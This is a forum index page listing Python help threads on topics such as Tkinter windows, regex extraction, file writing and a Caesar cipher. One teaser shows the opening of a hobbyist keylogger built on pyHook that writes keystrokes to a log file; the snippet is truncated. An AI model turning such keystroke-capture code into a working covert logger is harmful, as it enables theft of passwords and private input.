15,181 Topics

Member Avatar for
Member Avatar for poker158149

Hi everyone. I spent a lot of time figuring out how to get my code to check for user errors and types. I finally got it set up properly, but now I'm getting an error. A number is required on my input. If someone doesn't enter a number or leaves …

Member Avatar for Gribouillis
0
2K
Member Avatar for debasishgang7

Hi all, I am trying to extract some text from a HTML page using regex. [CODE]<html> ...some code.... <B><FONT color="green">TEXT to BE EXTRACTED 1</FONT></B><br> <P> <B><FONT color="green">TEXT to BE EXTRACTED 2</FONT></B><br> <P> <B><FONT color="red">TEXT to BE EXTRACTED 3</FONT></B> ....some code.... </html> [/CODE] I want to make a script which will …

Member Avatar for debasishgang7
0
126
Member Avatar for wolf29

I am having major issues with nfs, in that server-1 has to mount a file from server-2 before an application owned by another user can operate. The applications will appear to load without the mounted share but they will be just going through the motions and the application will not …

Member Avatar for wolf29
0
143
Member Avatar for JoshuaBurleson

I've been on here for a few weeks now and I [B]JUST[/B] found this CI forum, so let me apologize for the late start, "been too busy on Python". I'm a college student, but not in an IT field. Actually I've switched majors so many times it's ridiculous, Elementary Education, …

Member Avatar for jingda
1
278
Member Avatar for Danielle87

What this program is does is search the text and where the word appear it displays the line. However. I am recieveing a [U]SyntaxError: EOF while scanning triple-quated string literals[/U]. When i try to run in on python 2.6. I dont have a an option of changeing versions. Just need …

Member Avatar for Danielle87
0
2K
Member Avatar for iacobus2

Ubuntu 10.04 and Python 2.6 I just want to output a simple tone. I have searched the Internet and found there are thousands, if not millions of responses to Google, and the this forum's search engine. I read so many my eyes are crossed. But really, does anyone know of …

Member Avatar for Tech B
0
618
Member Avatar for TrustyTony

I was not happy of solution [url]http://chaos.weblogs.us/archives/331[/url] for one line Ceasar cipher, so I wrote my own version without import by using raw_input (change to input for Python3). Chance to play little with memoryview object also. Crypt: give displacement amount for shift Decrypt: give -displacement amount shift

Member Avatar for TrustyTony
0
416
Member Avatar for bomko

hello! i have this problem with this code. I mean everything works just fine except i dont know how to change program to return me new value. in my program i had to make 2 functions. preberiKontakte() to get their names & id and izlusciOsebe(vrstica, kontakti) to get set of …

Member Avatar for woooee
0
289
Member Avatar for Tech B

Written in python2.6 I know there are a lot of key loggers out there, but i wanted to try my hand at it. It works like a charm =) [code] #Key Logger #By: K.B. Carte #Version 1.0 ################ import pythoncom, pyHook, sys, logging LOG_FILENAME = 'path\to\log.out' def OnKeyboardEvent(event): logging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG, …

Member Avatar for Tech B
0
4K
Member Avatar for Skrell

Can someone please explain these results to me and why they are different: >>> 7339520/(1024.0*1024) 6.99951171875 >>> print "%0.3f" % (7339520/(1024.0*1024)) 7.000 >>>

Member Avatar for Gribouillis
0
100
Member Avatar for JoshuaBurleson

I've been working on getting tkinter to open a window for all dictionary items with keys matching a query. Below is a [B]VERY RAW[/B] piece of code to show what I'm talking about. show() makes the toplevel windows. Also, not that it has so much going on because I isolate …

Member Avatar for TrustyTony
0
183
Member Avatar for aint

Hi, Last year I posted a question about making graphical representations of sentences, and at the end I did it with matplotlib. Now I wanted to add some more features to it, but I am stuck. you can see the previous post from this [URL="http://www.daniweb.com/software-development/python/threads/282934"]link[/URL] Now, if we assign a …

Member Avatar for hughesadam_87
0
4K
Member Avatar for izthrower

[CODE] Created on Aug 29, 2011 @author: izink001 ''' import pygame from pygame.locals import * from pygame.color import * import pymunk as pm from pymunk import Vec2d import math import sys X,Y = 0,1 ### Physics collision types COLLTYPE_DEFAULT = 0 COLLTYPE_MOUSE = 1 def flipy(y): """Small hack to convert …

Member Avatar for izthrower
0
148
Member Avatar for Weragodalahiru

Does anyone have a idea about this programe, Assume that you are paid on the basis of one cent the first day, two cents the second day, four cents the third day, with the daily amount continuing to double in this way. Design an algorithm and use it to write a Python program …

Member Avatar for JoshuaBurleson
0
108
Member Avatar for JoshuaBurleson

Is there a way to hide or at least automatically minimize the "shell-like" tkinter window, while running it?

Member Avatar for TrustyTony
0
350
Member Avatar for hughesadam_87

Hey everyone, I'm checking some bessel functions in python using mathematica, and I can't find anything online about how to import values into python with exponentials. I know how to values with exponents. For example: [CODE]x=2032.43 * 10 **23[/CODE] However, when I read in a data file, say with one …

Member Avatar for JoshuaBurleson
0
138
Member Avatar for JoshuaBurleson

I'm having a terrible time with regular expressions, possibly because I'm using a python2 reference, but maybe not. For example how would I find \s\w within a string and then change that character?

Member Avatar for JoshuaBurleson
0
300
Member Avatar for Skrell

I can't seem to find this answer anywhere. All i want to do is write a list of numbers to a file using the file.write() method however i wanted to format the numbers as if i had been using a print statement. When you print you can use %0.2f for …

Member Avatar for markfw
0
226
Member Avatar for Cyl11

how would I go about assigning more than one value to a dictionary - rather like a list. for example I have students who each have courses. Each student name is a key (unique) e.g as a dictionary student = {"name":"course"} but students can have more than one course student …

Member Avatar for Cyl11
0
131
Member Avatar for abders

[CODE]print "creating a text file" text_file = open("write_it.txt", "a") score = 5 name = raw_input("What's your name?: ") score = (score, name) text_file.write(score) text_file.close()[/CODE] getting TypeError: expected a character buffer object Please help. Thanks

Member Avatar for abders
0
986
Member Avatar for luofeiyu

[code] from Tkinter import * fields = 'Name', 'Job', 'Pay' def fetch(event,entries): for entry in entries: print 'Input => "%s"' % entry.get() # get text print event.widget def makeform(root, fields): entries = [] for field in fields: row = Frame(root) # make a new row lab = Label(row, width=5, text=field) …

Member Avatar for Tech B
0
236
Member Avatar for aint

Hi, I have some .py files that I modify and run. Today I used one of them, and had some output on IDLE python shell. Now I run another .py file, but in between I get the result from the previous code. I tracked it down in the second script, …

Member Avatar for TrustyTony
0
132
Member Avatar for rayden150

Hello, I am an intermediate Python programmer, and I was just wondering how is python used on the web? would it be something similar to php, and what software do I need to use in order to use python on the web because I am very much interested in web …

Member Avatar for aint
0
264
Member Avatar for JoshuaBurleson

Has anyone tried Microsoft's Python Tools for visual studio? I read on /. that it's suppose to support any interpreter not just Ironpython, but I'm only seeing Cpython and Ironpython. Any feedback? [URL="http://pytools.codeplex.com/"]http://pytools.codeplex.com/[/URL]

0
145
Member Avatar for JoshuaBurleson

In version 3.0 of my address book I'm utilizing tkinter. The only problem thus far I'm having is that I have a very ugly display on a child window that shows the search result for a query. I'm getting {['Email: [email]Shoiukamp0@gmail.com[/email], Phone: (111)555-2222, Address: 122 C---- Ct., Essex, VT']} The …

Member Avatar for JoshuaBurleson
0
1K
Member Avatar for hughesadam_87

Hey all, After beating my head against the wall with this, I decided to post. I'm using f2py, a wrapper to call Fortran routines from python. I can't use it because my current version of gcc does not support f2py. According to a posted solution, I have to edit my …

Member Avatar for TrustyTony
0
82
Member Avatar for SpiritualMadMan

This is something that is really starting to bug me about Python and wxPython... In VB6 (Disallowed by my employer) I can have multiple Forms loaded at the same time. I can show and hide each and everyone of these forms any time I want to. For example I can …

Member Avatar for SpiritualMadMan
0
146
Member Avatar for TrustyTony

Again "pseudo-code" for [URL="http://www.daniweb.com/software-development/cpp/threads/379255/1632559#post1632559"]C++ program[/URL]. Quite primitive and simple, but I post it anyway. Generalized to take even even number as parameter.

0
130
Member Avatar for d3zz

Hello. i have this problem with a program im coding in python. heres the code: [CODE]#! /usr/bin/python from Tkinter import * list=[".", ".", ".", ".", ".", ".", ".", ".", "."] root=Tk() def p(lol): list[0]=1 lol["text"] = list[0] def plade(): ###### ROW=0 a1=Button(root, text=list[0], command=p(a1)) a1.grid(row=0) a2=Button(root, text=list[1], command=p(a2)) a2.grid(row=0, column=1) …

Member Avatar for d3zz
0
255
Member Avatar for tristanbacon

Hello all, I am working on a Blackjack program, but am having a bit of trouble with the finer details. At the moment, I have a list of the cards and their values, as follows: [CODE] Jack = 10 Queen = 10 King = 10 Ace = 11 # card …

Member Avatar for TrustyTony
0
247

The End.